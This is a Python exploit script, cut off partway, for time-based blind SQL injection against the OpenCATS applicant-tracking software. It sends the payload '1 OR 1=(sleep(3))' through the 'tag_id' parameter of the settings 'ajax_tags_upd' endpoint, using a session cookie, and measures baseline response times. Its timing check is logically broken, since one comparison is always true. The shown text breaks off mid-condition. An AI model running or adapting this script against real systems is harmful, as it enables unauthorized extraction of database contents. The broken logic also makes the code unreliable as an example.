import requests import string import sys def inRange(rTime, averageTime, sleepAmount): if(rTime > sleepAmount and rTime < rTime + (averageTime*20/100) and rTime > rTime - (averageTime*20/100)): return True else: return False headers = {} proxies = {} #proxies["http"] = "http://127.0.0.1:8080" #Login and get session cookie.. #Change this headers["Cookie"] = "CATS=cl2201l24aihqlnch0jgnr4pd2" url = "http://192.168.203.135/opencats/index.php?m=settings&a=ajax_tags_upd" #Prepare Content-Type for POST request compability headers["Content-Type"] = "application/x-www-form-urlencoded" #Prepare POST parameter 'tag_id' postdata = "tag_id=PWN&tag_title=test" #Change this depending on the endpoint tempPayload = "1 OR 1=(sleep(3))" print("Sending few request to determine average response time...") timeSum = 0 numberOfBaselineRequests = 5 for i in range(numberOfBaselineRequests): try: rTest = requests.post(url, headers = headers, data=postdata.replace('PWN','1337'), proxies = proxies) timeSum += rTest.elapsed.total_seconds() if('